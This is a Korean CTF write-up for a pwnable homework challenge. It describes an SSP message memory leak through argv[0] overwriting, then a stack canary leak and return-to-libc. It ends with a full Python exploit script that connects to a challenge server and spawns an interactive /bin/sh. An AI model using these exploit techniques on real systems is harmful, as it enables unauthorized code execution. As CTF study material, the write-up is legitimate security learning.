이 5주 차에서는 4주 차 과제를 제일 먼저 풀은 2명이 풀이를 발표하게 되었었다.
그렇게 pork 풀이와 한 문제의 풀이를 듣고 5주 차 풀이 발표자 분이 과제를 내게 되었다.
문제는 이거다.
무려 이 대회에서 4명밖에 못 풀은 문제다.
사실 이 문제는 건드린 시각은 과제 내용을 들은 일요일이였는데.
사실 월~수 중에 숙소에서 과제를 하려고 했는데...
심하게 피곤해서 숙소 도착하면 정신도 못차린 채 쓰러졌다고 ... 한다.
ㅇㅇ 시작하죠
일단 아이다로 까봅시다.
일단 이 문제에 맞는 환경을 만들어주기 위해서 /home/qlvlejtm/password 를 생성해주도록 하자.
ㅇㅇ 이제 시작합시다.
일단 패스워드 릭을 해야 됩니다.
이에 이용하는 취약점은 ssp memory leak
ssp message 를 이용한 메모리 릭입니다.
처음엔 매우 이해가 안됬지만 하다보니 이해가 됬습니다.
SSP를 이용한 memory leak.docx
위의 자료를 보며 어떻게 하는지 이해를 했습니다.
"여기서 재미있는 사실은,ssp 메세지의 프로그램 명 부분이 argv[0]의 영향을 받는 다는 것이다."
를 주목 하셔야됩니다.
argv[0]포인터가 저장된 주소의 offset이 일정하다면, 그 부분을 덮어서 원하는 메모리 값을 읽어 올 수 있을 것이다
이제 삽질을 하면 된다.
main 부분
0x08048737
아아 신령님 이건 제가 잃어버린 메인이 맞당께요 !!!
password 입력 부분
0x080488c5
이제 피료한 브레이크 포인트는 구했으니 gdb ㄱㄱ
일단 argv[0] 주소부터 구해야겠다.
찾았다 요놈
argv[0] : 0xbffff88a
이제 password 부분 브포를 걸어서 argv[0]와 버퍼의 사이가 얼마 정도인지 계산해야된다.
버퍼 입력은 0xbffff647 부터이다.
그렇다면
0xbffff88a - 0xbffff647 =
그러하다.
285 만큼 덮어버리면 되는 거시다..
그 뒤에 password 내용이 들어있는 s2 변수 주소를 넘겨줌으로써 메모리 릭이 성공된다.
일단 stage1 끝
딱 봐도 1에서는 볼 게 없으므로 버리고.
2번에서는 dword_804b100 을 설정해주는 것이 보인다.
3번에서는 v9에 쓸때없이 11337이나 받는다.
read 에서 bof가 터질 것을 알 수 있었다.
4번에서는 unk_804b0e0 에 원하는 값을 넣을 수 있다.
5번에서 시스템 함수를 썻기 때문에 귀찮은 짓을 안해도 된다!
from socket import *
from struct import *
from time import sleep
p = lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
# nc 52.192.51.122 8777
coninfo = ("52.192.51.122",8777)
password = "OhGoodPasswordLeakSuccess"
system_plt = 0x08048610
bss = 0x0804B0E0
s= socket(AF_INET,SOCK_STREAM)
s.connect(coninfo)
s.send(password + "\n")
sleep(0.5)
s.send("2\n")
sleep(0.2)
s.send("1\n")
sleep(0.2)
# get canary
s.send("4\n")
sleep(0.2)
s.recv(1024)
s.send("A"*21 + "\n")
sleep(0.2)
s.recv(1024)
s.send("/bin/sh\n")
sleep(0.2)
s.recv(1024)
s.send("hubeen\n")
sleep(0.2)
canary = '\x00' + s.recv(1024).split("A"*21 + "\n")[1].split("Wow")[0]
print "Ori\n"
print canary.encode('hex')
# rtl
s.send("3\n")
sleep(0.2)
s.recv(1024)
py = ""
py += "A"*217 # 0xe5 - 0xc
py += canary #canary
py += "A"*0xc #canary len
py += p(system_plt)
py += "AAAA"
py += p(bss)
s.send(py)
sleep(0.5)
s.recv(1024)
s.send("0\n")
sleep(0.2)
s.recv(1024)
s.send("hubeen\n")
sleep(0.2)
s.recv(1024)
while True:
cmd = raw_input("$")
s.send(cmd + "\n")
print s.recv(1024)
그러하다.
끝.